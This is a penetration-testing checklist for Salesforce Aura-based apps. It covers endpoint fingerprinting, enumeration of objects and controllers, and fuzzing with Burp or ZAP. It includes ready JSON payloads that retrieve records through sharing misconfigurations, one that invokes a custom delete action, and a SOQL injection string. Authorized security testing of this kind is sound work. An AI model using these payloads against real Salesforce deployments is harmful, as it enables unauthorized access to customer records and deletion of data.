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Salesforce SAAS Apps Hacking

Preparation Phase

  1. Gather Tools

    • Burp Suite or OWASP ZAP

    • HTTP Request/Response Interceptor

  2. Set Up Environment

    • Configure Burp/ZAP with browser

    • Ensure target Salesforce application is accessible

Pre-Check

  1. Identify Salesforce Technologies

    • Browse application via Burp/ZAP and check HTTP History for paths:

      • /s/sfsites/aura

      • /aura

      • /sfsites/aura

    • In Repeater, make a POST request to the paths and check for response patterns:

      • "actions":[

      • aura:clientOutOfSync

      • aura:invalidSession

Reconnaissance

  1. Identify Standard Objects

  2. Identify Custom Objects

    • Look for objects ending in __c

    • Use getObjectInfo and getHostConfig actions

    • Add to objects.txt

  3. Identify Standard Controllers and Actions

    • Inspect app.js and aura_prod.js files

    • Grep for componentService.initControllerDefs([{ pattern

    • Save identified controllers and actions

  4. Identify Custom Controllers and Actions

    • Inspect JS files and HTTP requests

    • Look for custom controllers starting with apex://

    STANDARD CONTROLLER:
aura://RecordUiController/ACTION$getObjectInfo
CUSTOM CONTROLLER:
apex://New_Sales_Controller/ACTION$getSalesData

    • Save identified controllers and actions

Fuzzing

  1. Set Up Fuzzing in Burp/ZAP

    • Send POST request with Aura endpoint to Repeater

    • Replace message parameter with different options

    • Use Intruder to fuzz with objects.txt

  2. Fuzzing Actions

    • getObjectInfo

      • Payload: {"actions":[{"id":"1;a","descriptor":"aura://RecordUiController/ACTION$getObjectInfo","params":{"objectApiName":"***"}}]}

    • getConfigData

      • Payload: {"actions":[{"id":"1;a","descriptor":"aura://HostConfigController/ACTION$getConfigData","params":{}}]}

    • getListsByObjectName

      • Payload: {"actions":[{"id":"1;a","descriptor":"aura://ListUiController/ACTION$getListsByObjectName","params":{"objectApiName":"***"}}]}

Retrieving Sensitive Information

  1. Check for Org-Wide Sharing Misconfigurations

    • Use getItems action to retrieve records

      • Payload: {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","params":{"entityNameOrId":"***","layoutType":"FULL","pageSize":100,"currentPage":0}}]}

    • Use getRecord action to retrieve specific records

      • Payload: {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","params":{"recordId":"***"}}]}

  2. Check for Custom Controller Misconfigurations

    • Identify custom actions like getSalesData and deleteSalesDataById

      • Payload for retrieving data: {"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$getSalesData","params":{}}]}

      • Payload for deleting data: {"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$deleteSalesDataById","params":{"id":"***"}}]}

SOQL Injection

  1. Identify Potential Injection Points

    • Inspect HTTP requests for SOQL queries

  2. Craft Injection Payloads

    • User input: name=test%') OR (Name LIKE '

    • Expected vulnerable query: SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Documentation and Reporting

  1. Document Findings

    • Note each identified object, controller, and action

    • Record fuzzing results and any sensitive data retrieved

    • Detail any successful SOQL injections and their impact

  2. Create a Comprehensive Report

    • Executive summary of findings

    • Detailed methodology and steps taken

    • Screenshots and evidence of vulnerabilities

    • Recommendations for remediation

References

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